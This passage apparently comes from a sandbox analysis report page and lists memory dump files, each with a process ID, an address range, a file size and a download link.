                                                                                Download

                                                                              • memory/4052-185-0x0000000004E80000-0x0000000004E81000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4052-187-0x0000000007A40000-0x0000000007A41000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4052-201-0x00000000077E0000-0x00000000077E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4072-251-0x0000000000F60000-0x0000000000F61000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4116-477-0x00000000001D0000-0x00000000001FF000-memory.dmp

                                                                                Filesize

                                                                                188KB

                                                                                Download

                                                                              • memory/4116-458-0x0000000000400000-0x0000000002B5D000-memory.dmp

                                                                                Filesize

                                                                                39.4MB

                                                                                Download

                                                                              • memory/4128-215-0x00000000017F0000-0x000000000189E000-memory.dmp

                                                                                Filesize

                                                                                696KB

                                                                                Download

                                                                              • memory/4128-221-0x0000000000400000-0x0000000001788000-memory.dmp

                                                                                Filesize

                                                                                19.5MB

                                                                                Download

                                                                              • memory/4228-345-0x0000000004CFF000-0x0000000004E00000-memory.dmp

                                                                                Filesize

                                                                                1.0MB

                                                                                Download

                                                                              • memory/4228-348-0x0000000004EC0000-0x0000000004F1F000-memory.dmp

                                                                                Filesize

                                                                                380KB

                                                                                Download

                                                                              • memory/4480-275-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4480-293-0x000000001BAC0000-0x000000001BAC2000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/4492-360-0x00000000056B0000-0x00000000056B1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-197-0x0000000001190000-0x0000000001191000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-200-0x000000001BCE0000-0x000000001BCE1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-258-0x000000001C500000-0x000000001C501000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-184-0x0000000000B50000-0x0000000000B51000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-193-0x0000000001170000-0x000000000118A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                                Download

                                                                              • memory/4512-189-0x0000000001160000-0x0000000001161000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/4512-204-0x000000001B7A0000-0x000000001B7A2000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/4540-217-0x0000000000400000-0x0000000002B6B000-memory.dmp

                                                                                Filesize

                                                                                39.4MB

                                                                                Download

                                                                              • memory/4540-210-0x0000000004760000-0x00000000047A8000-memory.dmp

                                                                                Filesize

                                                                                288KB

                                                                                Download

                                                                              • memory/4732-196-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                Filesize

                                                                                436KB

                                                                                Download

                                                                              • memory/5040-304-0x0000000000910000-0x0000000000911000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5040-340-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5164-399-0x0000000005630000-0x0000000005B2E000-memory.dmp

                                                                                Filesize

                                                                                5.0MB

                                                                                Download

                                                                              • memory/5332-414-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5352-377-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5528-410-0x000002173F660000-0x000002173F6D4000-memory.dmp

                                                                                Filesize

                                                                                464KB

                                                                                Download

                                                                              • memory/5644-428-0x00000000012D0000-0x00000000012D1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download

                                                                              • memory/5848-469-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                Filesize

                                                                                80KB

                                                                                Download

                                                                              • memory/5904-466-0x0000000005420000-0x0000000005A26000-memory.dmp

                                                                                Filesize

                                                                                6.0MB

                                                                                Download

                                                                              • memory/6100-443-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                                Download